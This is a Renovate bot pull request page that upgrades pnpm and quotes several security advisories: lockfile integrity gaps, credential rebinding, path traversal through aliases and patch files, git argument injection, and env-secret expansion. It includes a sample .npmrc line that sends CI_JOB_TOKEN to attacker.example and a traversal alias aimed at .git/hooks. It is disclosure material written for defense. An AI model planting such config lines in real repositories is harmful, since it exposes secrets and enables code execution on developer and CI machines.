chore(deps): update pnpm to v11 [security]#385
Open
renovate[bot] wants to merge 1 commit into
Open
Conversation
Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Contributor
Author
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
10.28.2→11.5.3pnpm: Tarball hash of GitHub git dependencies is not stored in lockfile
CVE-2026-48995 / GHSA-hg3w-7f8c-63hp
More information
Details
Summary
A malicious
codeload.github.comserver can serve whatever tarball it wants and pnpm will install it regardless of the lockfile.Details
The lockfile does not store the hash of the dependencies from https://codeload.github.com
This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies.
PoC
> pnpm -v 10.28.2Given the following package.json:
{ "dependencies": { "add": "git://github.com/dsherret/npm-git-dep.git#b3eeb9b" } }This produces a lockfile like so:
Notice that there is no hash. The
b3eeb9bis not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it).Impact
Anyone relying on github git dependencies.
Severity
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:UReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Unsafe default behavior breaks integrity check
CVE-2026-50573 / GHSA-54hh-g5mx-jqcp
More information
Details
While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default.
Summary
pnpm installin non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded inpnpm-lock.yaml.When a package is already locked with an
integrityvalue, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plainpnpm installthen performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully.This means the lockfile integrity check does not act as a hard stop by default.
Reproduction Scenario
example-package@1.0.0with tarball contentv1.pnpm-lock.yamlcontains thev1integrity:example-package@1.0.0to contentv2.Observed Behavior
pnpm detects the checksum mismatch:
However, the install still succeeds:
The lockfile is then rewritten to trust the new remote integrity:
Expected Behavior
If a downloaded tarball does not match the integrity recorded in
pnpm-lock.yaml, the install should fail by default.The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior.
Security Impact
This behavior weakens the protection normally expected from a committed lockfile.
If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity.
Examples of affected new or clean environments include:
In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in
pnpm-lock.yaml. However, instead of failing by default, plainpnpm installperforms a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content.In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile.
This is especially relevant for:
The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair.
This issue does not occur when
--frozen-lockfileis enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content.However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version.
For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile.
Comparison
In the same scenario,
npm installwith an existingpackage-lock.jsonfails withEINTEGRITYand does not install the changed tarball.pnpm install --frozen-lockfilealso fails as expected:The issue is specific to the default non-frozen behavior of plain
pnpm installin non-CI environment.Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm binds unscoped user-level npm auth credentials to a repository-selected registry
CVE-2026-50017 / GHSA-cjhr-43r9-cfmw
More information
Details
Summary
pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local
.npmrcfile.In the reproduced case, the user's npm config contains a default registry and an unscoped
_authToken. The repository does not provide a token-bearing auth line. It only setsregistry=to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as anAuthorizationheader.This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.
Affected Behavior Observed
Observed affected:
10.33.2:pnpm install --ignore-scriptssends the user-level unscoped_authTokento the repository-selected registry.11.1.3:pnpm install --ignore-scriptssends the user-level unscoped_authTokento the repository-selected registry.11.2.1(next-11dist tag at testing time):pnpm install --ignore-scriptssends the user-level unscoped_authTokento the repository-selected registry.11.1.3:pnpm viewalso sends user-level unscoped_authToken,_auth, andusername/_passwordcredentials to the repository-selected registry in the local loopback replay.Control:
10.9.7rejects the same unscoped user_authTokenconfiguration withERR_INVALID_AUTHand does not send anAuthorizationheader to the repository-selected registry.Threat Model
Victim:
pnpm install,pnpm view, or an equivalent pnpm metadata/restore command in a repository.Attacker:
.npmrc;registry=to a registry endpoint they control;Boundary:
Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.
Minimal Reproduction
The reproducer below starts two loopback HTTP registries:
.npmrc;.npmrc.The isolated user
.npmrccontains:The repository-local
.npmrccontains:registry=<attacker-loopback-registry>The repository
package.jsondepends on a toy package served by the loopback registry. The script then runs:Expected Safe Behavior
pnpm should not send the user-level unscoped
_authTokento the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.Observed Behavior
pnpm
10.33.2, pnpm11.1.3, and pnpm11.2.1send:Authorization: Bearer PR166_FAKE_REGISTRY_TOKENto the attacker loopback registry during install. npm
10.9.7rejects the same config and sends noAuthorizationheader.Security Impact
This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.
Non-Claims
This report does not claim:
line.
Source-Level Notes
In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local
.npmrccan change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.Suggested Fix Direction
The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped
credentials.
This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.
Runnable Reproducer
Save the following as
repro.pyand run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, setPR166_PNPM_SPEC, for examplePR166_PNPM_SPEC=11.2.1.Abbreviated Expected Output
Reporter: JUNYI LIU
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement
CVE-2026-50016 / GHSA-hwx4-2j3j-g496
More information
Details
Summary
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause
pnpm install - ignore-scriptsto replace paths in the current project with symlinks to attacker-controlled dependency package directories..git/hooksis only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:.huskyor.githooksfor Git hook dispatchersscripts/,tools/,bin/, ortests/for project scripts and CI commands.github/actions/<name>for local GitHub Actions used later in the workflowdist/or other publish/build output directories beforepnpm packorpnpm publishnode_modules/.binor undeclarednode_modules/<name>paths used by latercommand or module resolution
Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.
This was reproduced with
pnpm@11.2.1.Impact
Users often run
pnpm install --ignore-scriptsexpecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.Examples include
git commit,pnpm test,pnpm run build, a CI step that uses a local GitHub Action, orpnpm publishpackaging a replaceddist/directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces.git/hooks, and the payload runs when the victim later executesgit commit.Root Cause
pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination
node_modulesdirectory and passed to the symlink creation logic without rejecting..segments or checking that the normalized result stays inside the intendednode_modulesdirectory.Conceptually, a transitive alias like this:
{ "@​x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }is eventually treated like:
The normalized destination escapes the dependency's
node_modulesdirectory and lands at the victim project's.git/hookspath. pnpm then creates a symlink at that escaped destination to the resolvedpayload-hookspackage directory.The dependency chain is:
The malicious transitive package metadata contains:
{ "@​x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }Because this uses an
npm:registry alias, it does not rely on a transitivefile:orlink:dependency.Proof Of Concept
Run:
The script starts a local npm-compatible registry, writes a victim project
.npmrcthat points to that registry, installsnormal@1.0.0with--ignore-scripts, and then triggersgit commit.Requirements:
Expected output:
PWNEDis printed by the attacker-controlledpre-commithook from thepayload-hookspackage.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Git Fetch Argument Injection via Lockfile resolution.commit
CVE-2026-50014 / GHSA-p4xf-rf54-rj3x
More information
Details
Summary
pnpm passes the lockfile-controlled git
resolution.commitvalue togit fetchwithout a--separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as--upload-pack=<command>. For SSH and local transports,--upload-packcan execute the supplied command. HTTPS transports ignore--upload-pack, so the practical attack surface is primarily SSH or local git dependencies.Vulnerability Details
The vulnerable path is in
fetching/git-fetcher/src/index.ts. When a git dependency host is configured for shallow fetching, pnpm calls:Because
resolution.commitis appended before a--separator, Git can parse a commit value beginning with-as an option. The same file later passes the value togit checkoutwithout a separator:resolution.commitcomes from the lockfile and is typed as a plainstring; pnpm does not validate it as a 40-character hexadecimal commit before passing it to Git.Proof of Concept
The PoC uses a local
file://githost/...repository because the injection requires a local or SSH transport. HTTPS transport ignores--upload-pack.Impact
Code execution as the user running
pnpm install, under specific transport conditions. The attacker must modifypnpm-lock.yaml, and the affected dependency must use SSH or local git transport. HTTPS transport (the common case) is immune.Suggested Remediation
Add a
--separator before lockfile-controlled git revision values. Validateresolution.commitmatches/^[0-9a-f]{40}$/ibefore passing to Git.Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm Vulnerable to Arbitrary File Write/Delete via Malicious Patch File (Path Traversal)
CVE-2026-50015 / GHSA-rxhj-4m44-96r4
More information
Details
Summary
pnpm's patch application pipeline (
@pnpm/patch-package) performs no path validation on file paths extracted from.patchfiles. An attacker who contributes a malicious patch file via a pull request can write attacker-controlled content to or delete arbitrary files on the filesystem duringpnpm install, as the user running the install. Thediff --githeader paths containing../../sequences traverse out of the package directory, and the traversal is difficult to catch in code review because patch file diff headers are opaque to most reviewers.Vulnerability Details
During
pnpm install, when apatchedDependenciesentry is present inpnpm-workspace.yaml, pnpm reads the referenced.patchfile and applies it via the embedded@pnpm/patch-packagelibrary. TheapplyPatchToDirfunction atpatching/apply-patch/src/index.ts:12-13callsprocess.chdir(opts.patchedDir), setting the working directory to the installed package location deep insidenode_modules/.pnpm/.The patch parser at
@pnpm/patch-package/dist/patch/parse.js:88extracts file paths fromdiff --git a/(.*?) b/(.*?)headers using a regex with no path sanitization. TheexecuteEffectsfunction inapply.jsthen operates on these unsanitized paths:File write (
apply.js:35-49):File delete (
apply.js:13-22):A path like
../../../../../../../../../../home/user/.ssh/authorized_keysin the patch header traverses out of the package directory to an arbitrary location.Proof of Concept
Impact
Arbitrary file write and delete as the user running
pnpm install, limited to paths writable by that user. An attacker who submits a PR adding a.patchfile andpatchedDependenciesconfig can target SSH authorized_keys, shell configuration, CI/CD files, or other writable files. Patch files may receive less review scrutiny thanpackage.jsonchanges because the../traversal sequences are indiff --githeaders that look like patch metadata.Suggested Remediation
Validate parsed patch file paths against the package root directory. Reject any path that resolves outside the patched package directory via
path.resolve+ prefix check. Alternatively, sanitize at parse time by rejecting paths containing..components inparse.js.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm Has an Integrity Check Bypass via Missing Lockfile Integrity Field
CVE-2026-50021 / GHSA-q6j5-fjx5-2mc3
More information
Details
Summary
pnpm's tarball extraction worker skips integrity verification when the
integrityfield is absent from the lockfile resolution. If an attacker can both modifypnpm-lock.yamlto remove theintegrity:field and cause the referenced registry URL to serve altered package content,pnpm install --frozen-lockfilecan install the altered package without an integrity error. npm'snpm cienforces integrity by default; pnpm's behavior of silently skipping verification is a pnpm-specific fail-open gap.Vulnerability Details
The
addTarballToStorefunction inworker/src/start.ts(lines 189-204) checksif (integrity)before verifying the tarball hash. TheTarballResolutiontype declaresintegrityas optional (integrity?: string). When the lockfile omits theintegrityfield, the guard evaluates tofalse, skipping hash verification entirely. The worker then computes a new hash from the unverified content and stores it as legitimate.Proof of Concept
Impact
Supply chain compromise in environments where an attacker can both alter the lockfile and cause the referenced registry URL to serve altered package content. The
--frozen-lockfileflag does not fail closed when the integrity field is missing.Suggested Remediation
Require an
integrityfield for remote tarball resolutions. Change theif (integrity)guard to fail when integrity is absent for non-local packages. When--frozen-lockfileis active, reject lockfile entries that lack integrity for remote packages.Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Repository config can expand victim environment secrets into registry requests before scripts run
CVE-2026-55180 / GHSA-3qhv-2rgh-x77r
More information
Details
Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
CAND-PNPM-122/GHSA-3qhv-2rgh-x77rsecurity/ghsa-batch-2026-06-09a93449314f398cf4bdf2e28d033c02d37395ad22origin/main55a4035abf1ae3fe7208ba1f5ef43c5eff58ccecstart-herepnpm config/env replacement and registry authnpm:pnpm,npm:@​pnpm/config.reader,rust:pacquetCWE-201,CWE-200,CWE-5226.5/CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:NExpected Patched Behavior
Project
.npmrcenvironment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.Files And Tests To Review
config/reader/src/loadNpmrcFiles.tsconfig/reader/src/getOptionsFromRootManifest.tsconfig/reader/test/index.tsconfig/reader/test/getOptionsFromRootManifest.test.tspacquet/crates/config/src/npmrc_auth.rspacquet/crates/config/src/npmrc_auth/tests.rspacquet/crates/config/src/workspace_yaml.rspacquet/crates/config/src/workspace_yaml/tests.rs.changeset/sharp-registry-env-placeholders.mdFocused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is
results/CAND-PNPM-122-patched-result.json.CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run
Advisory Details
Summary
pnpm and pacquet expanded
${ENV_VAR}placeholders from repository-controlled.npmrcandpnpm-workspace.yamlinto registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.Details
The vulnerable TypeScript pnpm path was:
config/reader/src/loadNpmrcFiles.tsloaded project.npmrcand substituted environment placeholders in keys and values.config/reader/src/getOptionsFromRootManifest.tssubstituted environment placeholders inside workspaceregistry,registries, andnamedRegistriessettings.config/reader/src/index.tsmerged those expanded registry/auth values intopnpmConfig.registries,pnpmConfig.authConfig, andpnpmConfig.configByUri.resolving/npm-resolver/src/fetch.tsbuilt metadata request URLs from the selected registry.network/fetch/src/fetchFromRegistry.tsdispatched the request and attached matching auth headers before install lifecycle scripts could run.The pacquet parity path was:
pacquet/crates/config/src/npmrc_auth.rsexpanded project.npmrcplaceholders while parsing registry URLs and auth values.pacquet/crates/config/src/workspace_yaml.rsexpanded workspace registry placeholders.pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rsused the configured registry URL andAuthHeadersfor metadata fetches.PoC
Repository
.npmrcURL-path exfiltration:registry=https://attacker.example/${CI_JOB_TOKEN}/Repository
.npmrcauth-header exfiltration:Repository
pnpm-workspace.yamlURL-path exfiltration:Exploit method:
CI_JOB_TOKENor another sensitive environment variable present.https://attacker.example/<secret>/<package>orAuthorization: Bearer <secret>to the attacker-controlled endpoint.Validation PoC:
The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.
Impact
A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.
Affected Products
Ecosystem: npm
Package name:
pnpm,@pnpm/config.reader; pacquet Rust portAffected versions: current main before this patch, when project
.npmrcorpnpm-workspace.yamlcontains environment placeholders in registry request destinations or project.npmrccontains environment placeholders in registry credential values.Patched versions: pending release containing this patch.
Severity
Severity before patch: High
Vector string before patch:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:NScore before patch: 7.4
Severity after patch: None
Vector string after patch: not vulnerable after patch
Score after patch: 0.0
Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.
Weaknesses
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CWE-522: Insufficiently Protected Credentials
Patch
The patch makes environment expansion trust-aware for registry requests:
.npmrcno longer expands${...}inregistry,@scope:registry, proxy URL values, URL-scoped keys such as//host/${SECRET}/:_authToken, or registry credential values such as//host/:_authToken=${SECRET}and_authToken=${SECRET}..npmrc, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration.pnpm-workspace.yamlno longer expands${...}inregistry,registries, ornamedRegistriesURL values.//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the.npmrcis supplied as user config.from_project_ini()for project.npmrcand workspace registry filtering.Changed files:
config/reader/src/loadNpmrcFiles.tsconfig/reader/src/getOptionsFromRootManifest.tsconfig/reader/test/index.tsconfig/reader/test/getOptionsFromRootManifest.test.tspacquet/crates/config/src/npmrc_auth.rspacquet/crates/config/src/npmrc_auth/tests.rspacquet/crates/config/src/workspace_yaml.rspacquet/crates/config/src/workspace_yaml/tests.rsChangeset:
.changeset/sharp-registry-env-placeholders.mdPacquet parity:
Ported in the same patch. Pacquet dependency-management commands now parse project
.npmrcwith request-destination and credential-value env expansion disabled, and drop workspace registry values containing${...}placeholders.Verification
Post-patch validation:
The PoC ran: